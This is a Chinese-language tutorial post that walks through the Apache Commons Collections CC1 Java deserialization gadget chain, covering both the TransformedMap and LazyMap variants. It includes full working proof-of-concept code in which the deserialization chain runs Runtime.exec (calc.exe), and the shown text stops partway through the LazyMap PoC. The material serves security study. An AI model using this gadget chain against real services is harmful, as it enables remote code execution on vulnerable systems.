java反序列化--CC1

java反序列化–CC1

前置

介绍

  • Apache Commons Collections是Apache软件基金会的一个项目,它提供了一组扩展了Java标准库中Collection结构的类和方法。这些类和方法被广泛用于各种Java应用的开发中。
  • CC1链是Apache Commons Collections库中反序列化漏洞的利用链的简称。反序列化是将字节序列恢复成对象的过程,如果在这个过程中输入了不可信的数据,就有可能触发包含在序列化参数中的恶意代码。

所以

Apache Commons Collections它提供了很多强大的数据结构类型和实现了各种集合工具类。作为Apache开放项目的重要组件,Commons Collections被广泛的各种Java应用的开发,而正是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。。

commons-collections组件反序列化漏洞的反射链也称为CC链,自从apache commons-collections组件爆出第一个java反序列化漏洞后,就像打开了java安全的新世界大门一样,之后很多java中间件相继都爆出反序列化漏洞。

Maven

Maven 是一个项目管理工具,它包含了一个项目对象模、型 (POM: Project Object Model),一组标准集合,一个项目生命周期(Project Lifecycle),一个依赖管理系统(Dependency Management System),和用来运行定义在生命周期阶段(phase)中插件(plugin)目标(goal)的逻辑

作用:

  • 省去jar包的导入,而是坐标来进行导入,减少了项目的内存大小
  • 更加方便的构建项目,实现项目的一键构建。指的是项目从编译、测试、运行、打包、安装 ,部署整个过程都交给 maven 进行管理,这个过程称为构建

在cc链分析中

我们需要通过maven添加依赖:在项目的pom.xml文件中加入Apache Commons Collections的依赖项:

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

环境配置

首先是我们要注意java的版本需要是第一点的 ,因为一些漏洞后续被修复了

我原来的版本是8u401

这里我们需要8u65 版本低点

具体下载这里就不赘述了

因为一些源码是class文件,工具会帮我们自动反编译的,但是我们都知道,这个东西反编译出来的,肯定不方便阅读,所以为了方便我们后续的调试,我们这里将openjdk的源码下过来,把我们需要导入到jdk中

这里我们来到jdk的目录中 在我们的jdk中有一个src.zip 解压到当前文件夹

image-20240527130414009

在我们下载的Openjdk中有个sun文件

image-20240527130614217

将sun粘贴到jdk的解压的src目录里面

image-20240527130712319

好 打开idea换sdk(结构目录中)

选择我们需要的jdk,然后选择源路径,把src文件夹添加进去

image-20240527130952197

我们新建项目选择maven

image-20240527131442362

新建maven就是这样的

image-20240527131515973

然后再pom.xmli添加我们上面说的maven依赖

这个也是一样的

<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

image-20240527131656082

这里我们右键pom.xml -> maven然后按下面的来

image-20240527131747576

已经下载了依赖

image-20240527132040566

触发条件

  • java 版本 < 8u71
  • CommonCollections<=3.2.1
  • 有 common-collentions 依赖

简化cc1-demo分析

代码

这段demo去掉了CC链的反射部分并进行了简化

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}) // Windows下的计算器命令,根据实际情况调整
};

Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 触发执行链
outerMap.put("test", "xxxx");
}
}

运⾏就会发现弹出了计算器

image-20240527151926187

如大家所见

这里面涉及到了几个类与接口

TransformedMap

image-20240527152849189

TransformedMap用于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执行⼀个回调。我们通过以上这行代码对innerMap进行修饰,传出的outerMap即是修饰后的Map

也就是:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,valueTransformer)

image-20240527200049786

TransformedMap.decorate 方法是Apache Commons Collections库中的一个静态方法,用于创建一个装饰器(decorator)包装在现有的Map实例上。这个装饰器会在原始Map的基础上,对键(key)、值(value)或两者进行转换操作,而不需要修改原Map的实现

当你调用TransformedMap.decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)方法时,它会返回一个新的Map实例,该实例的每次put、get以及其他操作都会经过指定的转换器(Transformers)。

其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。 我们这里所说的”回调“,并不是传统意义上的⼀个回调函数,而是⼀个实现了Transformer接⼝的类

这里补充一下Map

在Java中,Map是一个接口,它是集合框架的一部分,用于存储键值对(key-value pairs)的数据结构。Map不是一个简单的对象,而是一个接口,它定义了一系列操作键值对的方法。通过这些方法,你可以插入、访问、更新或删除键值对。每个键(key)在Map中必须是唯一的,而同一个键可以关联一个值(value)。如果尝试用相同的键插入另一个值,这将会替换原有的值。

Map接口的主要特点包括:

  • 键值对: 它存储的数据形式为键值对,键(通常是唯一的)用于查找对应的值。
  • 键的唯一性: 一个Map中不能有重复的键,但值可以重复。
  • 无序: Map中的元素没有特定的顺序,尽管LinkedHashMap类可以保持插入顺序,TreeMap类则可以按键排序。
  • 常用操作: 包括put(key, value)添加键值对,get(key)根据键获取值,containsKey(key)检查键是否存在,remove(key)删除键值对等。

Map的常用实现类包括但不限于:

  • HashMap: 基于哈希表实现,无序,非线程安全,查询速度快。
  • TreeMap: 基于红黑树实现,自然排序或自定义比较器排序,有序,线程不安全。
  • LinkedHashMap: 有序(插入顺序或访问顺序),基于哈希表实现,非线程安全。
  • ConcurrentHashMap: 线程安全的哈希表实现,支持高效并发访问。

Transformer

image-20240527153445294

Transformer是⼀个接⼝,它只有⼀个待实现的方法:

image-20240527153520185

因为这是class文件反编译出来的 所以是var1 不方便阅读

其实就是:

public interface Transformer {
public Object transform(Object input);
}

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调 函数“,这个回调的参数是原始对象。

ConstantTransformer

image-20240527154019449

源代码:

image-20240527154102328

其实就是:

public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个 对象,并在transform方法将这个对象再返回

所以他的作用其实就是包装任意⼀个对象,在执行回调时返回这个对象,进而方便后续操作。

InvokerTransformer

image-20240527190629018

InvokerTransformer是同样实现了Transformer接⼝的⼀个类,这个类可以⽤来执行任意⽅法,这也是反序列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数 是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表

image-20240527191132684

也就是:

public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

后⾯的回调transform方法,就是执⾏了input对象的iMethodName⽅法

image-20240527192724718

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
InvocationTargetException ex = var6;
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}

ChainedTransformer

image-20240527193048259

ChainedTransformer也是实现了Transformer接口的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传入,我们画⼀个图做示意:

image-20240527193315705

image-20240527193344213

也就是:

public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {

for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

分析

先看着两端代码吧

image-20240527193846923

创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer, 直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执行Runtime对象的exec方法,参数是计算器的绝对地址

但是这个transformerChain只是⼀系列回调,我们需要用其来包装innerMap,使⽤的前⾯说到的 TransformedMap.decorate

image-20240527195511835

在这个装饰过程中,键(key)的转换器被设置为null,意味着不会对键进行任何转换;而值(value)的转换则通过transformerChain指定的转换器链来进行。

最后,怎么触发回调呢?就是向Map中放入一个新的元素:

image-20240527195618903

当执行outerMap.put("test", "xxxx")时,实际上是在向基础的innerMap中插入一对键值对,键为"test",值为"xxxx"

在实际反序列化漏洞中,我们需要将上面最终生成的outerMap对象变成一个序列化流

CC1链

链子写法很多 但是原理都是那样

主要原理就两种

LazyMap与TransformedMap

LazyMap来自ysoserial

而TransformedMap来自Code White的Slide与长亭科技的博客文章

我们先来看TransformedMap链

TransformedMap链

分析构造链子

根据我们前面写的demo

我们已经知道触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素

在demo中,我们可以手工执行 outerMap.put(“test”, “xxxx”); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作。

要可序列化必须重写readObject()方法,接受任意对象作为参数

这个类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们查看它的readObject 方法

image-20240528003422203

也就是:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

它的核心代码就是 Map.Entry memberValue : memberValues.entrySet() 和memberValue.setValue(...)

image-20240528003852260

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它 的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的 Transform,进而执行我们为其精心设计的任意代码

所以,我们构造POC的时候,就需要创建一个AnnotationInvocationHandler对象,并将前面构造的 HashMap设置进来

因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我们使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map

Class clazz =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

和URLDNS链一样,起点是某个类的readObject()方法

这里就是AnnotationInvocationHandlerreadObject()

然后我们通过如下代码将这个对象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
  • 创建ByteArrayOutputStreamObjectOutputStream,将反射创建的AnnotationInvocationHandler实例(obj)序列化到字节数组中。
  • 打印序列化后的字节数组内容到控制台。
  • 利用ObjectInputStream从刚序列化的字节数组中反序列化出对象,并将其类型强制转换为Object
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

再加上这段代码 反序列化

这样整个代码段完成了对象的序列化与反序列化的完整流程

也就是:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class); construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();

一起分析一下:

  1. 反射创建对象:
    • 使用Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")获取AnnotationInvocationHandler类的Class对象。
    • 通过getDeclaredConstructor(Class.class, Map.class)找到该类的一个构造函数,该构造函数接受一个Class对象和一个Map作为参数。由于构造函数可能是私有的,所以需要后续步骤来访问它。
    • 调用setAccessible(true)方法,允许访问这个私有的构造函数。
    • 利用反射创建AnnotationInvocationHandler实例,传入Retention.class作为注解类型和自定义的Map(outerMap)作为参数,最终创建并初始化了一个AnnotationInvocationHandler对象,并将其赋值给obj变量。
  2. 序列化对象:
    • 创建ByteArrayOutputStreamObjectOutputStream,用于将对象序列化为字节数组。
    • 使用oos.writeObject(handler)InvocationHandler实例序列化到字节数组中。
    • 关闭ObjectOutputStream以确保所有数据被写入。
    • 打印序列化后的ByteArrayOutputStream对象的默认字符串表示(注意,直接打印ByteArrayOutputStream对象可能并不直观展示字节内容)。
  3. 反序列化对象:
    • 创建ObjectInputStream,其构造函数接收之前序列化数据的ByteArrayInputStream
    • 使用ois.readObject()从字节流中反序列化出原始的InvocationHandler对象,并将其赋值给一个泛型为Object的变量o

将这几段代码拼接到demo代码的后面,组成一个完整的POC。运行这个POC,看看能否生成序列化数据流:

注意 这里加点代码

System.out.println(barr);

前面的demo也稍微动了一下 来满足我们后面写的代码

innerMap.put("test","xxxx");

还加入了一些包

import java.lang.reflect.Constructor;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.annotation.Retention;

也就是:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.annotation.Retention;



public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"C:\\Windows\\System32\\calc.exe"}) // Windows下的计算器命令,根据实际情况调整
};

Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}
}

image-20240528151056291

运行报错了

image-20240528152101752

Exception in thread “main” java.io.NotSerializableException: java.lang.Runtime

在writeObject的时候出现异常了: java.io.NotSerializableException: java.lang.Runtime 。

原因:

Java中不是所有对象都支持序列化,待序列化的对象和所有它使用的内部属性对象,必须都实现java.io.Serializable接口。而我们最早传给ConstantTransformer的是 Runtime.getRuntime()Runtime类是没有实现 java.io.Serializable 接口的,所以不允许被序列化。

解决:

我们可以通过反射来获取到当前上下文中的Runtime对象,而不需要直接使用这个类

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\Windows\\System32\\calc.exe");

这也是为什么需要使用反射的原因

所以修改我们的代码:

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer(
"exec",
new Class[] { String.class },
new String[] { "C:\\Windows\\System32\\calc.exe" }
)
};

和我们之前写的代码最大的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是一个 java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化

好 我们用这个代码再运行一下

也就是:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.annotation.Retention;



public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer(
"exec",
new Class[] { String.class },
new String[] { "C:\\Windows\\System32\\calc.exe" }
)
};


Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

innerMap.put("test", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}
}

image-20240528233409082

结果如上图 代码没有报错 还输出了我们的序列化后的数据流

但是有一个问题是:

在我们最后反序列化的时候没有弹出计算器

原因:

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现,在 AnnotationInvocationHandler.readObject 的逻辑中(class文件中可以看到),有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞

image-20240529155323694

那么如何让这个var7不为null呢

解决:

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以这也解释了为什么我们前面要用到 Retention.class ,因为Retention有一个方法,名为value;所 以,为了再满足第二个条件,我需要给Map中放入一个Key是value的元素:

innerMap.put("value", "xxxx");

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.InvocationHandler;




public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }
),
new InvokerTransformer(
"invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }
),
new InvokerTransformer(
"exec",
new Class[] { String.class },
new String[] { "C:\\Windows\\System32\\calc.exe" }
)
};


Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();

}
}

出现了一点小状况 嗯 不知道为什么还是弹不出计算器 QAQ 目前还没找到原因 代码是没有问题的

我也试了一下其他师傅的poc 也弹不起 但是我前面的demo可以弹

啧 应该是java环境的问题

但是代码试没有问题的

这里大家就假装我运行起了吧

晚点看看环境吧

image-20240529013310392

先装模做样运行起

破案了 就是版本问题 不知道为什么下成了8u111 啧 重新配了一下环境就好了

image-20240529104203979

调用流程:

ObjectInputStream.readObject()
->AnnotationInvocationHandler.readObject()
->TransformedMap.entrySet().iterator().next().setValue()
->TransformedMap.checkSetValue()
->TransformedMap.transform()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->Method.invoke()
->Class.getMethod()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.getRuntime()
->InvokerTransformer.transform()
->Method.invoke()
->Runtime.exec()

高版本不能触发原因:

在8u71以后大概是2015年12月的时候,Java 官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数

对于这次修改,有些文章说是因为没有了setValue,其实原因和setValue关系不大。改动后,不再直接 使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去

所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执 行set或put操作,也就不会触发RCE了。

怎么在高版本下触发cc 我们后面说

我们再来看看ysoserial的LazyMap链

LazyMap链

其实CommonCollections1的真正利用链中应该用到的是LazyMap而不是TransformedMap

只是说TransformedMap也行

所以LazyMap是什么呢

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继乘AbstractMapDecorator

分析构造链子

LazyMap的漏洞触发点和TransformedMap唯一的差别是:

TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

public Object get(Object key) {
// Check if the key is already in the map
if (!map.containsKey(key)) {
// If not, create a value for the key using the factory's transform method
Object value = factory.transform(key);
// Put the new value into the map with its corresponding key
map.put(key, value);
}
// Return the value associated with the key, either existing or just created
return map.get(key);
}

他会对 this.factory 进行一次 transform,所以我们拿这个来做为我们链子串联的对象

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法

所以ysoserial找到了另一条路,AnnotationInvocationHandler类的invoke方法有调用到get(代表着我们可以通过这个方法来调用 LazyMap.get 方法):

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}

image-20240529162210286

那么又如何能调用到 AnnotationInvocationHandler.invoke 呢?ysoserial的作者想到的是利用Java 的对象代理。

对象代理

java作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需 要用到 java.reflect.Proxy

Map pxmapMap=(Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class},handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑。

例:

我们写一个这样的类:

package org.vulhub.Ser;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;

public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;

public ExampleInvocationHandler(Map map) {
this.map = map;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

这段代码定义了一个ExampleInvocationHandler类,实现了InvocationHandler接口,用于处理代理对象上的方法调用。特别是,它拦截了get方法的调用,并打印一条消息后返回一个固定的字符串”Hooked Object”,从而演示了对原方法的hook(钩子)技术。对于非get方法的调用,则直接转发给被代理的Map对象。

在外部调用这个ExampleInvocationHandler:

package org.vulhub.Ser;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap<>());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println(result);
}
}

跑一下:

image-20240529165051369

虽然我们向Map放入的hello值为world

但是发现输出了Hacked Object

我们回头看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler.invoke 方法中,进而触发我们的 LazyMap.get

发现好像前面没有说过InvocationHandler

这里补充一下:

InvocationHandler是Java反射包(java.lang.reflect)下的一个接口,它是实现Java动态代理的核心。当你想要在不修改目标对象的情况下,对其方法调用进行控制或扩展时(比如添加日志、权限控制、事物管理等),就可以使用InvocationHandler

看一下源码:

image-20240529165717164

代码很少:
就是:

public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
  • proxy:代理实例,也就是通过Proxy.newProxyInstance()方法创建的代理对象。
  • method:当前被调用的方法,对应于代理实例上调用的方法。
  • args:被调用方法的参数数组。

好 这样就可以构造我们的poc了

首先使用LazyMap替换 TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

原来是这样的:

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

然后,我们需要对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(RetentionPolicy.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这段代码首先通过反射获取了AnnotationInvocationHandler类。

然后,获取其构造函数,并通过setAccessible(true)来绕过访问控制检查,以便可以实例化这个私有构造函数。

接着,使用这个构造函数创建了一个InvocationHandler实例,传入了RetentionPolicy.class和一个外部MapouterMap)。

最后,利用Proxy.newProxyInstance()方法基于这个InvocationHandler创建了一个代理Map对象。

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是 sun.reflect.annotation.AnnotationInvocationHandler.readObject ,而且Proxy 内无 writeObject 方法,无法直接序列化

所以我们还需要再用 AnnotationInvocationHandler对这个proxyMap进行包裹:

handler = (InvocationHandler) construct.newInstance(Retention.class,
proxyMap);

其他的就和TransformedMap链一样了

所以:

POC

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new String[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);

